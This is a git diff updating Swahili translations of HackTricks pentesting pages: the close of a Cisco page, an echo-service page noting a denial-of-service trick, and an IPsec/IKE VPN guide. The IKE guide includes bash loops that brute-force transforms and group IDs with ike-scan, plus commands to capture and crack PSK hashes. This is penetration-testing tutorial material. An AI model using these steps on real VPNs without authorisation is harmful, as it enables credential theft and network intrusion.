ufikiaji wa kisanduku cha udhibiti wa vifaa vya mtandao kwa kutumia vibali vilivyopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kuzingatia kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi. +Kwa kupata ufikiaji wa kisanduku cha kudhibiti cha vifaa vya mtandao kwa kutumia sifa zilizopatikana, mshambuliaji anaweza kudhibiti mtandao. Ni muhimu kutambua kuwa hatua hizi ni kwa madhumuni ya elimu tu na hazipaswi kutumiwa bila idhini sahihi. ## Marejeo * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %}
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index d388d7501..4cd98d364 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -4,48 +4,36 @@ Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github. +**Kikundi cha Usalama cha Kujitahidi Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + # Taarifa Msingi -Kuna huduma ya echo inayofanya kazi kwenye mwenyeji huu. Huduma ya echo ilikuwa imekusudiwa kwa ajili ya majaribio na kipimo na inaweza kusikiliza kwenye itifaki za TCP na UDP. Seva inarudisha data yoyote inayopokea bila kubadilisha.\ -**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya echo kwenye huduma ya echo kwenye kompyuta hiyo hiyo au kompyuta nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, kompyuta zilizoathiriwa zinaweza kuwa nje ya huduma kwa ufanisi.\ +Kuna huduma ya kielekezi inayofanya kazi kwenye mwenyeji huyu. Huduma ya kielekezi ilikusudiwa kwa ajili ya majaribio na madhumuni ya kupima na inaweza kusikiliza kwenye itifaki za TCP na UDP. Mfumo hutoa nyuma data yoyote inayopokea, bila kuihariri.\ +**Inawezekana kusababisha kukataliwa kwa huduma kwa kuunganisha huduma ya kielekezi kwenye huduma ya kielekezi kwenye mashine hiyo hiyo au nyingine**. Kwa sababu ya idadi kubwa sana ya pakiti zinazozalishwa, mashine zilizoathiriwa zinaweza kuondolewa kwa ufanisi kutoka kwenye huduma.\ Maelezo kutoka [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) -**Bandari ya Chaguo-msingi:** 7/tcp/udp +**Bandari ya Kimsingi:** 7/tcp/udp ``` PORT STATE SERVICE 7/udp open echo 7/tcp open echo ``` -## Wasiliana na Huduma ya Echo (UDP) - -To contact the Echo service using UDP, you can use the `nc` command. The Echo service simply sends back any data it receives. - -To contact the Echo service on a specific port, use the following command: - -```bash -nc -u -``` - -Replace `` with the IP address of the target machine and `` with the desired port number. - -For example, to contact the Echo service on port 1234 of the target machine with IP address 192.168.1.10, use the following command: - -```bash -nc -u 192.168.1.10 1234 -``` - -Once the connection is established, you can send any data to the Echo service, and it will send the same data back to you. - -To exit the connection, press `Ctrl + C`. +## Wasiliana na huduma ya Echo (UDP) ```bash nc -uvn 7 Hello echo #This is wat you send @@ -62,16 +50,22 @@ Hello echo #This is the response [CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html) +**Kikundi cha Usalama cha Try Hard** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} +
-Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)! +Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: -* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)! -* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! +* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index 8caea340f..ec9746004 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -2,29 +2,37 @@
-Jifunze kuhusu kudukua AWS kutoka mwanzo hadi mtaalamu na htARTE (Mtaalamu wa Timu Nyekundu ya AWS ya HackTricks)! +Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)! Njia nyingine za kusaidia HackTricks: * Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)! * Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com) -* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee -* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee +* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+**Kikundi cha Usalama cha Kujaribu Kwa Bidii** + +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +*** + ## Taarifa Msingi **IPsec** inatambuliwa sana kama teknolojia kuu ya kuhakikisha mawasiliano kati ya mitandao (LAN-to-LAN) na kutoka kwa watumiaji wa mbali hadi kwenye lango la mtandao (upatikanaji wa mbali), ikitumika kama msingi wa suluhisho za VPN za biashara. -Kuanzishwa kwa **mkataba wa usalama (SA)** kati ya sehemu mbili hushughulikiwa na **IKE**, ambayo hufanya kazi chini ya kivuli cha ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa: +Kuanzishwa kwa **umoja wa usalama (SA)** kati ya sehemu mbili hukamilishwa na **IKE**, ambayo hufanya kazi chini ya bendera ya ISAKMP, itifaki iliyoundwa kwa ajili ya uwakalaishaji na kubadilishana funguo. Mchakato huu hufanyika katika hatua kadhaa: -- **Hatua ya 1:** Kituo salama huanzishwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Kitufe cha Kwanza-Kushirikishwa (PSK) au vyeti, ikitegemea mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kujitokeza**. +- **Hatua ya 1:** Kituo salama kinajengwa kati ya sehemu mbili. Hii hufanikiwa kupitia matumizi ya Neno la Siri lililoshirikishwa (PSK) au vyeti, ikichukua njia ya mode kuu, ambayo inahusisha jozi tatu za ujumbe, au **mode ya kujitokeza**. - **Hatua ya 1.5:** Ingawa sio lazima, hatua hii, inayojulikana kama Hatua ya Uthibitishaji wa Kipekee, inathibitisha utambulisho wa mtumiaji anayejaribu kuunganisha kwa kuhitaji jina la mtumiaji na nywila. - **Hatua ya 2:** Hatua hii inajitolea kwa majadiliano ya vigezo vya kuhakikisha data na **ESP** na **AH**. Inaruhusu matumizi ya algorithms tofauti na zile katika Hatua ya 1 kuhakikisha **Usiri wa Mbele Kamili (PFS)**, kuimarisha usalama. -**Bandari ya chaguo:** 500/udp +**Bandari ya default:** 500/udp ## **Gundua** huduma kwa kutumia nmap ``` @@ -38,9 +46,9 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems) ``` ## **Kupata ubadilishaji halali** -Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. **Kila ubadilishaji** una sifa kadhaa kama vile DES au 3DES kama **algoritimu ya kuchipua**, SHA au MD5 kama **algoritimu ya ukweli**, funguo iliyoshirikiwa mapema kama aina ya **uthibitishaji**, Diffie-Hellman 1 au 2 kama algoritimu ya usambazaji wa funguo na sekunde 28800 kama **maisha**. +Usanidi wa IPSec unaweza kuandaliwa tu kukubali ubadilishaji mmoja au kadhaa. Ubadilishaji ni mchanganyiko wa thamani. **Kila ubadilishaji** una sifa kadhaa kama vile DES au 3DES kama **algoritimu ya kuchipua**, SHA au MD5 kama **algoritimu ya ukweli**, funguo iliyoshirikiwa mapema kama aina ya **uthibitishaji**, Diffie-Hellman 1 au 2 kama algoritimu ya kugawa funguo na sekunde 28800 kama **maisha**. -Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itazungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja na **ubadilishaji nane ndani yake**. +Kwa hivyo, jambo la kwanza unalopaswa kufanya ni **kupata ubadilishaji halali**, ili server itazungumza nawe. Kufanya hivyo, unaweza kutumia zana ya **ike-scan**. Kwa chaguo-msingi, Ike-scan hufanya kazi katika mode kuu, na kutuma pakiti kwa lango na kichwa cha ISAKMP na pendekezo moja lenye **ubadilishaji nane ndani yake**. Kulingana na majibu unaweza kupata habari fulani kuhusu mwisho wa mawasiliano: ``` @@ -53,29 +61,29 @@ VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation) Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify ``` -Kama unavyoona kwenye jibu lililopita, kuna uga unaitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).\ +Kama unavyoona kwenye jibu lililopita, kuna uga unaoitwa **AUTH** wenye thamani ya **PSK**. Hii inamaanisha kuwa vpn imeboreshwa kwa kutumia funguo zilizoshirikishwa mapema (na hii ni nzuri sana kwa mpentesta).\ **Thamani ya mstari wa mwisho pia ni muhimu sana:** * _0 returned handshake; 0 returned notify:_ Hii inamaanisha lengo si **geti la IPsec**. -* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha kuwa **lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo). -* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribiwa). +* _**1 returned handshake; 0 returned notify:**_ Hii inamaanisha **lengo limeboreshwa kwa IPsec na iko tayari kufanya mazungumzo ya IKE, na moja au zaidi ya mabadiliko uliyopendekeza ni ya kukubalika** (mabadiliko sahihi yataonyeshwa kwenye matokeo). +* _0 returned handshake; 1 returned notify:_ Geti za VPN hujibu kwa ujumbe wa arifu wakati **hakuna mabadiliko yanayokubalika** (ingawa baadhi ya geti hazifanyi hivyo, katika kesi hiyo uchambuzi zaidi na pendekezo lililorekebishwa inapaswa kujaribu). -Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya jaribio kidogo ili kupata mabadiliko sahihi:** +Kwa hivyo, katika kesi hii tayari tuna mabadiliko sahihi lakini ikiwa uko kwenye kesi ya 3, basi unahitaji **kufanya nguvu kidogo ili kupata mabadiliko sahihi:** Kwanza kabisa unahitaji kuunda mabadiliko yote yanayowezekana: ```bash for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done ``` -Na kisha jaribu kila moja kwa kutumia ike-scan (hii inaweza kuchukua dakika kadhaa): +Na kisha jaribu kuvunja kila moja kutumia ike-scan (hii inaweza kuchukua dakika kadhaa): ```bash while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line ) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt ``` -Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu jaribio hilo hilo la nguvu lakini ukitumia mode ya kushambulia: +Ikiwa jaribio la nguvu halikufanya kazi, labda server inajibu bila mikono hata kwa mabadiliko halali. Kisha, unaweza kujaribu nguvu ile ile lakini ukitumia mode ya kushambulia: ```bash while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line ) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt ``` Natumai **ubadilishaji halali unarudishwa**.\ -Unaweza jaribu **shambulio sawa** ukitumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ +Unaweza jaribu **shambulio sawa** kutumia [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\ Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://github.com/SpiderLabs/ikeforce): ```bash ./ikeforce.py # No parameters are required for scan -h for additional help @@ -85,15 +93,15 @@ Pia unaweza jaribu kubadilisha nguvu za ubadilishaji na [**ikeforce**](https://g Katika **Kikundi cha DH: 14 = MODP ya biti 2048** na **15 = biti 3072**\ **2 = HMAC-SHA = SHA1 (katika kesi hii). Muundo wa `--trans` ni $Enc,$Hash,$Auth,$DH** -Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** encryption ya data inayotumia vikundi hivi dhaifu. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja codes haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyofichwa kwa wakati halisi ikiwa inatumia kikundi ambacho sio imara (kama 1,024-bit au chini). +Cisco inapendekeza kuepuka kutumia vikundi vya DH 1 na 2 kwa sababu sio imara vya kutosha. Wataalam wanaamini kwamba **nchi zenye rasilimali nyingi zinaweza kwa urahisi kuvunja** neno la siri la data inayotumia vikundi dhaifu hivi. Hii hufanywa kwa kutumia njia maalum inayowawezesha kuvunja nambari haraka. Ingawa inagharimu pesa nyingi kuweka njia hii, inawaruhusu nchi hizi zenye nguvu kusoma data iliyosimbwa wakati halisi ikiwa inatumia kikundi dhaifu (kama vile biti 1,024 au chini). -### Uchunguzi wa Fingerprint ya Seva +### Uchunguzi wa Alama ya Seva -Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita **chambua** **tofauti ya wakati** kati ya **ujumbe uliopokelewa** kutoka kwa seva na mfano wa majibu yanayolingana, mchunguzi wa usalama anaweza kufanikiwa kugundua muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID) ya hiari** na IKE. +Kisha, unaweza kutumia ike-scan kujaribu **kugundua muuzaji** wa kifaa. Zana hiyo hutoa pendekezo la awali na kuacha kujibu. Kisha, ita **chambua** tofauti ya **wakati** kati ya **ujumbe** uliopokelewa kutoka kwa seva na mfano wa majibu yanayolingana, mpentesta anaweza kufanikiwa kutambua alama ya muuzaji wa lango la VPN. Zaidi ya hayo, baadhi ya seva za VPN zitatumia **malipo ya Kitambulisho cha Muuzaji (VID)** ya hiari pamoja na IKE. -**Taja uongofu halali ikiwa ni lazima** (kutumia --trans) +**Taja uongofu halali ikihitajika** (kutumia --trans) -Ikiwa IKE itagundua ni muuzaji yupi, itachapisha hilo: +Iki IKE itagundua ni muuzaji yupi, itachapisha hii: ``` root@bt:~# ike-scan -M --showbackoff 172.16.21.200 Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) @@ -113,7 +121,7 @@ IP Address No. Recv time Delta Time Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify ``` -Hii inaweza pia kufanikishwa na skripti ya nmap _**ike-version**_ +Hii inaweza pia kufanikishwa na script ya nmap _**ike-version**_ ## Kupata ID sahihi (jina la kikundi) @@ -130,13 +138,13 @@ Ikiwa **hashi haijarejeshwa**, basi labda njia hii ya kufanya nguvu kazi itafany ![](<../.gitbook/assets/image (110).png>) -Lakini ikiwa kama nilivyosema, hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan. +Lakini kama nilivyosema, ikiwa hakuna hashi inayorejeshwa, basi unapaswa jaribu kufanya nguvu kazi ya majina ya vikundi vya kawaida kwa kutumia ike-scan. Script hii **itajaribu kufanya nguvu kazi ya vitambulisho vinavyowezekana** na itarejesha vitambulisho ambapo mkono wa salamu halali unarejeshwa (hii itakuwa jina halali la kikundi). Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ike-scan. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja wapo ifanye kazi vizuri). -Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya kikundi cha kawaida kufanya nguvu kazi: +Unaweza kutumia [kamusi ya ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) au [ile katika seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) ya majina ya kikundi ya kawaida kufanya nguvu kazi: ```bash while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt ``` @@ -146,14 +154,14 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line ### Kuvunja ID kwa ikeforce -[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia mapungufu tofauti** ambayo yanaweza kutumika **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana). +[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) ni chombo kinachoweza kutumika kwa **kuvunja nguvu IDs pia**. Chombo hiki kitajaribu **kutumia mapungufu tofauti** ambayo yanaweza kutumiwa **kutofautisha kati ya ID halali na isiyo halali** (inaweza kuwa na matokeo sahihi na matokeo yasiyo sahihi, ndio maana napendelea kutumia njia ya ike-scan ikiwezekana). Kwa chaguo-msingi **ikeforce** itatuma mwanzoni baadhi ya vitambulisho vya kubahatisha kuchunguza tabia ya seva na kubaini mkakati wa kutumia. -* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari ya **Dead Peer Detection DPD** ya mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kikundi ni sahihi). +* **Njia ya kwanza** ni kuvunja nguvu majina ya vikundi kwa **kutafuta** habari za **Dead Peer Detection DPD** za mifumo ya Cisco (habari hii inajibiwa tu na seva ikiwa jina la kundi ni sahihi). * **Njia ya pili** inapatikana ni **kuangalia idadi ya majibu yaliyotumwa kwa kila jaribio** kwa sababu mara nyingine pakiti zaidi hutumwa wakati kitambulisho sahihi kinatumika. * **Njia ya tatu** inajumuisha **kutafuta "INVALID-ID-INFORMATION" kama jibu kwa ID isiyo sahihi**. -* Hatimaye, ikiwa seva haionyeshi chochote kwa uchunguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.\ +* Hatimaye, ikiwa seva haionyeshi chochote kwa ukaguzi, **ikeforce** itajaribu kuvunja nguvu seva na kuangalia ikiwa kitambulisho sahihi kikitumwa seva itajibu na pakiti fulani.\ Kwa dhahiri, lengo la kuvunja nguvu kitambulisho ni kupata **PSK** unapokuwa na kitambulisho halali. Kisha, na **kitambulisho** na **PSK** utalazimika kuvunja nguvu XAUTH (ikiwa imewezeshwa). Ikiwa umegundua ubadilishaji maalum, ongeza katika amri ya ikeforce. Na ikiwa umegundua ubadilishaji kadhaa, jisikie huru kuongeza mzunguko mpya kujaribu yote (unapaswa kujaribu yote hadi moja itakapofanya kazi ipasavyo). @@ -171,28 +179,28 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library ![](<../.gitbook/assets/image (111).png>) -## Kukamata na kuvunja hash +## Kukamata na Kuvunja Hash -Mwishowe, Ikiwa umepata **ubadilishaji halali** na **jina la kikundi** na ikiwa **mode ya kushambulia inaruhusiwa**, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjika: +Hatimaye, Ikiwa umepata **ubadilishaji halali** na **jina la kikundi** na ikiwa **mode ya kushambulia inaruhusiwa**, basi unaweza kwa urahisi kabisa kukamata hash inayoweza kuvunjwa: ```bash ike-scan -M -A -n --pskcrack=hash.txt #If aggressive mode is supported and you know the id, you can get the hash of the passwor ``` Hash itahifadhiwa ndani ya _hash.txt_. -Unaweza kutumia **psk-crack**, **john** (ukiitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa kusudi la **kuvunja** hash: +Unaweza kutumia **psk-crack**, **john** (ukitumia [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) na **hashcat** kwa **kuvunja** hash: ```bash psk-crack -d psk.txt ``` ## **XAuth** -**Aggressive mode IKE** iliyochanganywa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Njia hii inaboreshwa na **XAuth (Uthibitishaji Uliopanuliwa)**, ambao hutumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana. +**Aggressive mode IKE** iliyochanganywa na **Pre-Shared Key (PSK)** mara nyingi hutumiwa kwa madhumuni ya **uthibitishaji wa kikundi**. Mbinu hii inaongezewa na **XAuth (Uthibitishaji Mpana)**, ambayo inatumika kuongeza safu ya ziada ya **uthibitishaji wa mtumiaji**. Uthibitishaji kama huo kawaida hutegemea huduma kama **Microsoft Active Directory**, **RADIUS**, au mifumo inayofanana. -Kuongeza **IKEv2**, mabadiliko muhimu yanazingatiwa ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki salama za mawasiliano. +Kuongeza **IKEv2**, mabadiliko muhimu yanaweza kuonekana ambapo **EAP (Itifaki ya Uthibitishaji Inayoweza Kupanuliwa)** inatumika badala ya **XAuth** kwa lengo la kuthibitisha watumiaji. Mabadiliko haya yanasisitiza mabadiliko katika mazoea ya uthibitishaji ndani ya itifaki za mawasiliano salama. -### MitM ya mtandao wa ndani kwa kukamata siri +### MitM ya mtandao wa ndani 